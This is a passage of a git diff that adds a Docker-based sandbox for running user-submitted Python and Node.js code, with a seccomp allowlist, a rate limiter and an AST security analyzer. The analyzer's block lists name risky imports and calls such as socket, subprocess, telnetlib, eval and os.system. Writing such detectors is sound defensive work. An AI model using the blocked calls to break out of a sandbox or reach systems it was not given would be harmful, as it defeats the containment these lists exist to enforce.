Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from api.routes import router as api_router +from core.config import init +from fastapi import FastAPI +from services.limiter import limiter, rate_limit_exceeded_handler +from slowapi.errors import RateLimitExceeded + +app = FastAPI(lifespan=init()) +app.include_router(api_router) +app.state.limiter = limiter +app.add_exception_handler(RateLimitExceeded, rate_limit_exceeded_handler) diff --git a/sandbox/executor_manager/models/__init__.py b/sandbox/executor_manager/models/__init__.py new file mode 100644 index 0000000..177b91d --- /dev/null +++ b/sandbox/executor_manager/models/__init__.py @@ -0,0 +1,15 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# diff --git a/sandbox/executor_manager/models/enums.py b/sandbox/executor_manager/models/enums.py new file mode 100644 index 0000000..b575e54 --- /dev/null +++ b/sandbox/executor_manager/models/enums.py @@ -0,0 +1,47 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from enum import Enum + + +class SupportLanguage(str, Enum): + PYTHON = "python" + NODEJS = "nodejs" + + +class ResultStatus(str, Enum): + SUCCESS = "success" + PROGRAM_ERROR = "program_error" + RESOURCE_LIMIT_EXCEEDED = "resource_limit_exceeded" + UNAUTHORIZED_ACCESS = "unauthorized_access" + RUNTIME_ERROR = "runtime_error" + PROGRAM_RUNNER_ERROR = "program_runner_error" + + +class ResourceLimitType(str, Enum): + TIME = "time" + MEMORY = "memory" + OUTPUT = "output" + + +class UnauthorizedAccessType(str, Enum): + DISALLOWED_SYSCALL = "disallowed_syscall" + FILE_ACCESS = "file_access" + NETWORK_ACCESS = "network_access" + + +class RuntimeErrorType(str, Enum): + SIGNALLED = "signalled" + NONZERO_EXIT = "nonzero_exit" diff --git a/sandbox/executor_manager/models/schemas.py b/sandbox/executor_manager/models/schemas.py new file mode 100644 index 0000000..750db5b --- /dev/null +++ b/sandbox/executor_manager/models/schemas.py @@ -0,0 +1,53 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import base64 +from typing import Optional + +from pydantic import BaseModel, Field, field_validator + +from models.enums import ResourceLimitType, ResultStatus, RuntimeErrorType, SupportLanguage, UnauthorizedAccessType + + +class CodeExecutionResult(BaseModel): + status: ResultStatus + stdout: str + stderr: str + exit_code: int + detail: Optional[str] = None + + # Resource usage + time_used_ms: Optional[float] = None + memory_used_kb: Optional[float] = None + + # Error details + resource_limit_type: Optional[ResourceLimitType] = None + unauthorized_access_type: Optional[UnauthorizedAccessType] = None + runtime_error_type: Optional[RuntimeErrorType] = None + + +class CodeExecutionRequest(BaseModel): + code_b64: str = Field(..., description="Base64 encoded code string") + language: SupportLanguage = Field(default=SupportLanguage.PYTHON, description="Programming language") + arguments: Optional[dict] = Field(default={}, description="Arguments") + + @field_validator("code_b64") + @classmethod + def validate_base64(cls, v: str) -> str: + try: + base64.b64decode(v, validate=True) + return v + except Exception as e: + raise ValueError(f"Invalid base64 encoding: {str(e)}") diff --git a/sandbox/executor_manager/requirements.txt b/sandbox/executor_manager/requirements.txt new file mode 100644 index 0000000..5295d12 --- /dev/null +++ b/sandbox/executor_manager/requirements.txt @@ -0,0 +1,3 @@ +fastapi +uvicorn +slowapi \ No newline at end of file diff --git a/sandbox/executor_manager/seccomp-profile-default.json b/sandbox/executor_manager/seccomp-profile-default.json new file mode 100644 index 0000000..e384ac3 --- /dev/null +++ b/sandbox/executor_manager/seccomp-profile-default.json @@ -0,0 +1,55 @@ +{ + "defaultAction": "SCMP_ACT_ERRNO", + "archMap": [ + { + "architecture": "SCMP_ARCH_X86_64", + "subArchitectures": [ + "SCMP_ARCH_X86", + "SCMP_ARCH_X32" + ] + } + ], + "syscalls": [ + { + "names": [ + "read", + "write", + "exit", + "sigreturn", + "brk", + "mmap", + "munmap", + "rt_sigaction", + "rt_sigprocmask", + "futex", + "clone", + "execve", + "arch_prctl", + "access", + "openat", + "close", + "stat", + "fstat", + "lstat", + "getpid", + "gettid", + "getuid", + "getgid", + "geteuid", + "getegid", + "clock_gettime", + "nanosleep", + "uname", + "writev", + "readlink", + "getrandom", + "statx", + "faccessat2", + "pread64", + "pwrite64", + "rt_sigreturn" + ], + "action": "SCMP_ACT_ALLOW" + } + ] +} diff --git a/sandbox/executor_manager/services/__init__.py b/sandbox/executor_manager/services/__init__.py new file mode 100644 index 0000000..177b91d --- /dev/null +++ b/sandbox/executor_manager/services/__init__.py @@ -0,0 +1,15 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# diff --git a/sandbox/executor_manager/services/execution.py b/sandbox/executor_manager/services/execution.py new file mode 100644 index 0000000..eae3665 --- /dev/null +++ b/sandbox/executor_manager/services/execution.py @@ -0,0 +1,265 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import asyncio +import base64 +import json +import os +import time +import uuid + +from core.config import TIMEOUT +from core.container import allocate_container_blocking, release_container +from core.logger import logger +from models.enums import ResourceLimitType, ResultStatus, RuntimeErrorType, SupportLanguage, UnauthorizedAccessType +from models.schemas import CodeExecutionRequest, CodeExecutionResult +from utils.common import async_run_command + + +async def execute_code(req: CodeExecutionRequest): + """Fully asynchronous execution logic""" + language = req.language + container = await allocate_container_blocking(language) + if not container: + return CodeExecutionResult( + status=ResultStatus.PROGRAM_RUNNER_ERROR, + stdout="", + stderr="Container pool is busy", + exit_code=-10, + detail="no_available_container", + ) + + task_id = str(uuid.uuid4()) + workdir = f"/tmp/sandbox_{task_id}" + os.makedirs(workdir, mode=0o700, exist_ok=True) + + try: + if language == SupportLanguage.PYTHON: + code_name = "main.py" + # code + code_path = os.path.join(workdir, code_name) + with open(code_path, "wb") as f: + f.write(base64.b64decode(req.code_b64)) + # runner + runner_name = "runner.py" + runner_path = os.path.join(workdir, runner_name) + with open(runner_path, "w") as f: + f.write("""import json +import os +import sys +sys.path.insert(0, os.path.dirname(__file__)) +from main import main +if __name__ == "__main__": + args = json.loads(sys.argv[1]) + result = main(**args) + if result is not None: + print(result) +""") + + elif language == SupportLanguage.NODEJS: + code_name = "main.js" + code_path = os.path.join(workdir, "main.js") + with open(code_path, "wb") as f: + f.write(base64.b64decode(req.code_b64)) + + runner_name = "runner.js" + runner_path = os.path.join(workdir, "runner.js") + with open(runner_path, "w") as f: + f.write(""" +const fs = require('fs'); +const path = require('path'); + +const args = JSON.parse(process.argv[2]); +const mainPath = path.join(__dirname, 'main.js'); + +function isPromise(value) { + return Boolean(value && typeof value.then === 'function'); +} + +if (fs.existsSync(mainPath)) { + const mod = require(mainPath); + const main = typeof mod === 'function' ? mod : mod.main; + + if (typeof main !== 'function') { + console.error('Error: main is not a function'); + process.exit(1); + } + + if (typeof args === 'object' && args !== null) { + try { + const result = main(args); + if (isPromise(result)) { + result.then(output => { + if (output !== null) { + console.log(output); + } + }).catch(err => { + console.error('Error in async main function:', err); + }); + } else { + if (result !== null) { + console.log(result); + } + } + } catch (err) { + console.error('Error when executing main:', err); + } + } else { + console.error('Error: args is not a valid object:', args); + } +} else { + console.error('main.js not found in the current directory'); +} +""") + # dirs + returncode, _, stderr = await async_run_command("docker", "exec", container, "mkdir", "-p", f"/workspace/{task_id}", timeout=5) + if returncode != 0: + raise RuntimeError(f"Directory creation failed: {stderr}") + + # archive + tar_proc = await asyncio.create_subprocess_exec("tar", "czf", "-", "-C", workdir, code_name, runner_name, stdout=asyncio.subprocess.PIPE) + tar_stdout, _ = await tar_proc.communicate() + + # unarchive + docker_proc = await asyncio.create_subprocess_exec( + "docker", "exec", "-i", container, "tar", "xzf", "-", "-C", f"/workspace/{task_id}", stdin=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) + stdout, stderr = await docker_proc.communicate(input=tar_stdout) + + if docker_proc.returncode != 0: + raise RuntimeError(stderr.decode()) + + # exec + start_time = time.time() + try: + logger.info(f"Passed in args: {req.arguments}") + args_json = json.dumps(req.arguments or {}) + run_args = [ + "docker", + "exec", + "--workdir", + f"/workspace/{task_id}", + container, + "timeout", + str(TIMEOUT), + language, + ] + # flags + if language == SupportLanguage.PYTHON: + run_args.extend(["-I", "-B"]) + elif language == SupportLanguage.NODEJS: + run_args.extend([]) + else: + assert False, "Will never reach here" + run_args.extend([runner_name, args_json]) + + returncode, stdout, stderr = await async_run_command( + *run_args, + timeout=TIMEOUT + 5, + ) + + time_used_ms = (time.time() - start_time) * 1000 + + logger.info("----------------------------------------------") + logger.info(f"Code: {str(base64.b64decode(req.code_b64))}") + logger.info(f"{returncode=}") + logger.info(f"{stdout=}") + logger.info(f"{stderr=}") + logger.info(f"{args_json=}") + + if returncode == 0: + return CodeExecutionResult( + status=ResultStatus.SUCCESS, + stdout=str(stdout), + stderr=stderr, + exit_code=0, + time_used_ms=time_used_ms, + ) + elif returncode == 124: + return CodeExecutionResult( + status=ResultStatus.RESOURCE_LIMIT_EXCEEDED, + stdout="", + stderr="Execution timeout", + exit_code=-124, + resource_limit_type=ResourceLimitType.TIME, + time_used_ms=time_used_ms, + ) + elif returncode == 137: + return CodeExecutionResult( + status=ResultStatus.RESOURCE_LIMIT_EXCEEDED, + stdout="", + stderr="Memory limit exceeded (killed by OOM)", + exit_code=-137, + resource_limit_type=ResourceLimitType.MEMORY, + time_used_ms=time_used_ms, + ) + return analyze_error_result(stderr, returncode) + + except asyncio.TimeoutError: + await async_run_command("docker", "exec", container, "pkill", "-9", language) + return CodeExecutionResult( + status=ResultStatus.RESOURCE_LIMIT_EXCEEDED, + stdout="", + stderr="Execution timeout", + exit_code=-1, + resource_limit_type=ResourceLimitType.TIME, + time_used_ms=(time.time() - start_time) * 1000, + ) + + except Exception as e: + logger.error(f"Execution exception: {str(e)}") + return CodeExecutionResult(status=ResultStatus.PROGRAM_RUNNER_ERROR, stdout="", stderr=str(e), exit_code=-3, detail="internal_error") + + finally: + # cleanup + cleanup_tasks = [async_run_command("docker", "exec", container, "rm", "-rf", f"/workspace/{task_id}"), async_run_command("rm", "-rf", workdir)] + await asyncio.gather(*cleanup_tasks, return_exceptions=True) + await release_container(container, language) + + +def analyze_error_result(stderr: str, exit_code: int) -> CodeExecutionResult: + """Analyze the error result and classify it""" + if "Permission denied" in stderr: + return CodeExecutionResult( + status=ResultStatus.UNAUTHORIZED_ACCESS, + stdout="", + stderr=stderr, + exit_code=exit_code, + unauthorized_access_type=UnauthorizedAccessType.FILE_ACCESS, + ) + elif "Operation not permitted" in stderr: + return CodeExecutionResult( + status=ResultStatus.UNAUTHORIZED_ACCESS, + stdout="", + stderr=stderr, + exit_code=exit_code, + unauthorized_access_type=UnauthorizedAccessType.DISALLOWED_SYSCALL, + ) + elif "MemoryError" in stderr: + return CodeExecutionResult( + status=ResultStatus.RESOURCE_LIMIT_EXCEEDED, + stdout="", + stderr=stderr, + exit_code=exit_code, + resource_limit_type=ResourceLimitType.MEMORY, + ) + else: + return CodeExecutionResult( + status=ResultStatus.PROGRAM_ERROR, + stdout="", + stderr=stderr, + exit_code=exit_code, + runtime_error_type=RuntimeErrorType.NONZERO_EXIT, + ) diff --git a/sandbox/executor_manager/services/limiter.py b/sandbox/executor_manager/services/limiter.py new file mode 100644 index 0000000..cdaffbd --- /dev/null +++ b/sandbox/executor_manager/services/limiter.py @@ -0,0 +1,38 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from fastapi import Request +from fastapi.responses import JSONResponse +from models.enums import ResultStatus +from models.schemas import CodeExecutionResult +from slowapi import Limiter +from slowapi.errors import RateLimitExceeded +from slowapi.util import get_remote_address + +limiter = Limiter(key_func=get_remote_address) + + +async def rate_limit_exceeded_handler(request: Request, exc: Exception) -> JSONResponse: + if isinstance(exc, RateLimitExceeded): + return JSONResponse( + content=CodeExecutionResult( + status=ResultStatus.PROGRAM_RUNNER_ERROR, + stdout="", + stderr="Too many requests, please try again later", + exit_code=-429, + detail="Too many requests, please try again later", + ).model_dump(), + ) + raise exc diff --git a/sandbox/executor_manager/services/security.py b/sandbox/executor_manager/services/security.py new file mode 100644 index 0000000..cbe1ca2 --- /dev/null +++ b/sandbox/executor_manager/services/security.py @@ -0,0 +1,173 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import ast +from typing import List, Tuple + +from core.logger import logger +from models.enums import SupportLanguage + + +class SecurePythonAnalyzer(ast.NodeVisitor): + """ + An AST-based analyzer for detecting unsafe Python code patterns. + """ + + DANGEROUS_IMPORTS = {"os", "subprocess", "sys", "shutil", "socket", "ctypes", "pickle", "threading", "multiprocessing", "asyncio", "http.client", "ftplib", "telnetlib"} + + DANGEROUS_CALLS = { + "eval", + "exec", + "open", + "__import__", + "compile", + "input", + "system", + "popen", + "remove", + "rename", + "rmdir", + "chdir", + "chmod", + "chown", + "getattr", + "setattr", + "globals", + "locals", + "shutil.rmtree", + "subprocess.call", + "subprocess.Popen", + "ctypes", + "pickle.load", + "pickle.loads", + "pickle.dump", + "pickle.dumps", + } + + def __init__(self): + self.unsafe_items: List[Tuple[str, int]] = [] + + def visit_Import(self, node: ast.Import): + """Check for dangerous imports.""" + for alias in node.names: + if alias.name.split(".")[0] in self.DANGEROUS_IMPORTS: + self.unsafe_items.append((f"Import: {alias.name}", node.lineno)) + self.generic_visit(node) + + def visit_ImportFrom(self, node: ast.ImportFrom): + """Check for dangerous imports from specific modules.""" + if node.module and node.module.split(".")[0] in self.DANGEROUS_IMPORTS: + self.unsafe_items.append((f"From Import: {node.module}", node.lineno)) + self.generic_visit(node) + + def visit_Call(self, node: ast.Call): + """Check for dangerous function calls.""" + if isinstance(node.func, ast.Name) and node.func.id in self.DANGEROUS_CALLS: + self.unsafe_items.append((f"Call: {node.func.id}", node.lineno)) + self.generic_visit(node) + + def visit_Attribute(self, node: ast.Attribute): + """Check for dangerous attribute access.""" + if isinstance(node.value, ast.Name) and node.value.id in self.DANGEROUS_IMPORTS: + self.unsafe_items.append((f"Attribute Access: {node.value.id}.{node.attr}", node.lineno)) + self.generic_visit(node) + + def visit_BinOp(self, node: ast.BinOp): + """Check for possible unsafe operations like concatenating strings with commands.""" + # This could be useful to detect `eval("os." + "system")` + if isinstance(node.left, ast.Constant) and isinstance(node.right, ast.Constant): + self.unsafe_items.append(("Possible unsafe string concatenation", node.lineno)) + self.generic_visit(node) + + def visit_FunctionDef(self, node: ast.FunctionDef): + """Check for dangerous function definitions (e.g., user-defined eval).""" + if node.name in self.DANGEROUS_CALLS: + self.unsafe_items.append((f"Function Definition: {node.name}", node.lineno)) + self.generic_visit(node) + + def visit_Assign(self, node: ast.Assign): + """Check for assignments to variables that might lead to dangerous operations.""" + for target in node.targets: + if isinstance(target, ast.Name) and target.id in self.DANGEROUS_CALLS: + self.unsafe_items.append((f"Assignment to dangerous variable: {target.id}", node.lineno)) + self.generic_visit(node) + + def visit_Lambda(self, node: ast.Lambda): + """Check for lambda functions with dangerous operations.""" + if isinstance(node.body, ast.Call) and isinstance(node.body.func, ast.Name) and node.body.func.id in self.DANGEROUS_CALLS: + self.unsafe_items.append(("Lambda with dangerous function call", node.lineno)) + self.generic_visit(node) + + def visit_ListComp(self, node: ast.ListComp): + """Check for list comprehensions with dangerous operations.""" + # First, visit the generators to check for any issues there + for elem in node.generators: + if isinstance(elem, ast.comprehension): + self.generic_visit(elem) + + if isinstance(node.elt, ast.Call) and isinstance(node.elt.func, ast.Name) and node.elt.func.id in self.DANGEROUS_CALLS: + self.unsafe_items.append(("List comprehension with dangerous function call", node.lineno)) + self.generic_visit(node) + + def visit_DictComp(self, node: ast.DictComp): + """Check for dictionary comprehensions with dangerous operations.""" + # Check for dangerous calls in both the key and value expressions of the dictionary comprehension + if isinstance(node.key, ast.Call) and isinstance(node.key.func, ast.Name) and node.key.func.id in self.DANGEROUS_CALLS: + self.unsafe_items.append(("Dict comprehension with dangerous function call in key", node.lineno)) + + if isinstance(node.value, ast.Call) and isinstance(node.value.func, ast.Name) and node.value.func.id in self.DANGEROUS_CALLS: + self.unsafe_items.append(("Dict comprehension with dangerous function call in value", node.lineno)) + + # Visit other sub-nodes (e.g., the generators in the comprehension) + self.generic_visit(node) + + def visit_SetComp(self, node: ast.SetComp): + """Check for set comprehensions with dangerous operations.""" + for elt in node.generators: + if isinstance(elt, ast.comprehension): + self.generic_visit(elt) + + if isinstance(node.elt, ast.Call) and isinstance(node.elt.func, ast.Name) and node.elt.func.id in self.DANGEROUS_CALLS: + self.unsafe_items.append(("Set comprehension with dangerous function call", node.lineno)) + + self.generic_visit(node) + + def visit_Yield(self, node: ast.Yield): + """Check for yield statements that could be used to produce unsafe values.""" + if isinstance(node.value, ast.Call) and isinstance(node.value.func, ast.Name) and node.value.func.id in self.DANGEROUS_CALLS: + self.unsafe_items.append(("Yield with dangerous function call", node.lineno)) + self.generic_visit(node) + + +def analyze_code_security(code: str, language: SupportLanguage) -> Tuple[bool, List[Tuple[str, int]]]: + """ + Analyze the provided code string and return whether it's safe and why. + + :param code: The source code to analyze. + :param language: The programming language of the code. + :return: (is_safe: bool, issues: List of (description, line number)) + """ + if language == SupportLanguage.PYTHON: + try: + tree = ast.parse(code) + analyzer = SecurePythonAnalyzer() + analyzer.visit(tree) + return len(analyzer.unsafe_items) == 0, analyzer.unsafe_items + except Exception as e: + logger.error(f"[SafeCheck] Python parsing failed: {str(e)}") + return False, [(f"Parsing Error: {str(e)}", -1)] + else: + logger.warning(f"[SafeCheck] Unsupported language for security analysis: {language} — defaulting to SAFE (manual review recommended)") + return True, [(f"Unsupported language for security analysis: {language} — defaulted to SAFE, manual review recommended", -1)] diff --git a/sandbox/executor_manager/util.py b/sandbox/executor_manager/util.py new file mode 100644 index 0000000..a84fe57 --- /dev/null +++ b/sandbox/executor_manager/util.py @@ -0,0 +1,76 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import os +import re + + +def is_enabled(value: str) -> bool: + return str(value).strip().lower() in {"1", "true", "yes", "on"} + + +def env_setting_enabled(env_key: str, default: str = "false") -> bool: + value = os.getenv(env_key, default) + return is_enabled(value) + + +def is_valid_memory_limit(mem: str | None) -> bool: + """ + Return True if the input string is a valid Docker memory limit (e.g. '256m', '1g'). + Units allowed: b, k, m, g (case-insensitive). + Disallows zero or negative values. + """ + if not mem or not isinstance(mem, str): + return False + + mem = mem.strip().lower() + + return re.fullmatch(r"[1-9]\d*(b|k|m|g)", mem) is not None + + +def parse_timeout_duration(timeout: str | None, default_seconds: int = 10) -> int: + """ + Parses a string like '90s', '2m', '1m30s' into total seconds (int). + Supports 's', 'm' (lower or upper case). Returns default if invalid. + '1m30s' -> 90 + """ + if not timeout or not isinstance(timeout, str): + return default_seconds + + timeout = timeout.strip().lower() + + pattern = r"^(?:(\d+)m)?(?:(\d+)s)?$" + match = re.fullmatch(pattern, timeout) + if not match: + return default_seconds + + minutes = int(match.group(1)) if match.group(1) else 0 + seconds = int(match.group(2)) if match.group(2) else 0 + total = minutes * 60 + seconds + + return total if total > 0 else default_seconds + + +def format_timeout_duration(seconds: int) -> str: + """ + Formats an integer number of seconds into a string like '1m30s'. + 90 -> '1m30s' + """ + if seconds < 60: + return f"{seconds}s" + minutes, sec = divmod(seconds, 60) + if sec == 0: + return f"{minutes}m" + return f"{minutes}m{sec}s" diff --git a/sandbox/executor_manager/utils/__init__.py b/sandbox/executor_manager/utils/__init__.py new file mode 100644 index 0000000..177b91d --- /dev/null +++ b/sandbox/executor_manager/utils/__init__.py @@ -0,0 +1,15 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# diff --git a/sandbox/executor_manager/utils/common.py b/sandbox/executor_manager/utils/common.py new file mode 100644 index 0000000..9a85566 --- /dev/null +++ b/sandbox/executor_manager/utils/common.py @@ -0,0 +1,36 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import asyncio +from typing import Tuple + + +async def async_run_command(*args, timeout: float = 5) -> Tuple[int, str, str]: + """Safe asynchronous command execution tool""" + proc = await asyncio.create_subprocess_exec(*args, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE) + + try: + stdout, stderr = await asyncio.wait_for(proc.communicate(), timeout=timeout) + if proc.returncode is None: + raise RuntimeError("Process finished but returncode is None") + return proc.returncode, stdout.decode(), stderr.decode() + except asyncio.TimeoutError: + proc.kill() + await proc.wait() + raise RuntimeError("Command timed out") + except Exception as e: + proc.kill() + await proc.wait() + raise e diff --git a/sandbox/pyproject.toml b/sandbox/pyproject.toml new file mode 100644 index 0000000..c1380d3 --- /dev/null +++ b/sandbox/pyproject.toml @@ -0,0 +1,28 @@ +[project] +name = "gvisor-sandbox" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.10" +dependencies = [ + "fastapi>=0.115.12", + "httpx>=0.28.1", + "pydantic>=2.11.4", + "requests>=2.32.3", + "slowapi>=0.1.9", + "uvicorn>=0.34.2", +] + +[[tool.uv.index]] +url = "https://pypi.tuna.tsinghua.edu.cn/simple" + +[dependency-groups] +dev = [ + "basedpyright>=1.29.1", +] + +[tool.ruff] +line-length = 200 + +[tool.ruff.lint] +extend-select = ["C4", "SIM", "TCH"] diff --git a/sandbox/sandbox_base_image/nodejs/Dockerfile b/sandbox/sandbox_base_image/nodejs/Dockerfile new file mode 100644 index 0000000..ada730f --- /dev/null +++ b/sandbox/sandbox_base_image/nodejs/Dockerfile @@ -0,0 +1,17 @@ +FROM node:24-bookworm-slim + +RUN npm config set registry https://registry.npmmirror.com + +# RUN grep -rl 'deb.debian.org' /etc/apt/ | xargs sed -i 's|http[s]*://deb.debian.org|https://mirrors.ustc.edu.cn|g' && \ +# apt-get update && \ +# apt-get install -y curl gcc make + + +WORKDIR /app + +COPY package.json package-lock.json . + +RUN npm install + +CMD ["sleep", "infinity"] + diff --git a/sandbox/sandbox_base_image/nodejs/package-lock.json b/sandbox/sandbox_base_image/nodejs/package-lock.json new file mode 100644 index 0000000..d59ae60 --- /dev/null +++ b/sandbox/sandbox_base_image/nodejs/package-lock.json @@ -0,0 +1,295 @@ +{ + "name": "nodejs", + "version": "1.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "nodejs", + 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UV_INDEX_URL=https://pypi.tuna.tsinghua.edu.cn/simple + +COPY requirements.txt . + +RUN grep -rl 'deb.debian.org' /etc/apt/ | xargs sed -i 's|http[s]*://deb.debian.org|https://mirrors.tuna.tsinghua.edu.cn|g' && \ + apt-get update && \ + apt-get install -y curl gcc && \ + uv pip install --system -r requirements.txt + +WORKDIR /workspace + +CMD ["sleep", "infinity"] diff --git a/sandbox/sandbox_base_image/python/requirements.txt b/sandbox/sandbox_base_image/python/requirements.txt new file mode 100644 index 0000000..4ad1501 --- /dev/null +++ b/sandbox/sandbox_base_image/python/requirements.txt @@ -0,0 +1,3 @@ +numpy +pandas +requests diff --git a/sandbox/scripts/restart.sh b/sandbox/scripts/restart.sh new file mode 100644 index 0000000..5254659 --- /dev/null +++ b/sandbox/scripts/restart.sh @@ -0,0 +1,21 @@ +#!/bin/bash +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +set -e + +bash "$(dirname "$0")/stop.sh" +bash "$(dirname "$0")/start.sh" diff --git a/sandbox/scripts/start.sh b/sandbox/scripts/start.sh new file mode 100644 index 0000000..68c7227 --- /dev/null +++ b/sandbox/scripts/start.sh @@ -0,0 +1,72 @@ +#!/bin/bash +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +set -e + +BASE_DIR="$(cd "$(dirname "$0")/.." && pwd)" +cd "$BASE_DIR" + +if [ -f .env ]; then + source .env + SANDBOX_EXECUTOR_MANAGER_PORT="${SANDBOX_EXECUTOR_MANAGER_PORT:-9385}" # Default to 9385 if not set in .env + SANDBOX_EXECUTOR_MANAGER_POOL_SIZE="${SANDBOX_EXECUTOR_MANAGER_POOL_SIZE:-5}" # Default to 5 if not set in .env + SANDBOX_BASE_PYTHON_IMAGE=${SANDBOX_BASE_PYTHON_IMAGE-"sandbox-base-python:latest"} + SANDBOX_BASE_NODEJS_IMAGE=${SANDBOX_BASE_NODEJS_IMAGE-"sandbox-base-nodejs:latest"} +else + echo "⚠️ .env not found, using default ports and pool size" + SANDBOX_EXECUTOR_MANAGER_PORT=9385 + SANDBOX_EXECUTOR_MANAGER_POOL_SIZE=5 + SANDBOX_BASE_PYTHON_IMAGE=sandbox-base-python:latest + SANDBOX_BASE_NODEJS_IMAGE=sandbox-base-nodejs:latest +fi + +echo "📦 STEP 1: Build sandbox-base image ..." +if [ -f .env ]; then + source .env && + echo "🐍 Building base sandbox image for Python ($SANDBOX_BASE_PYTHON_IMAGE)..." && + docker build -t "$SANDBOX_BASE_PYTHON_IMAGE" ./sandbox_base_image/python && + echo "⬢ Building base 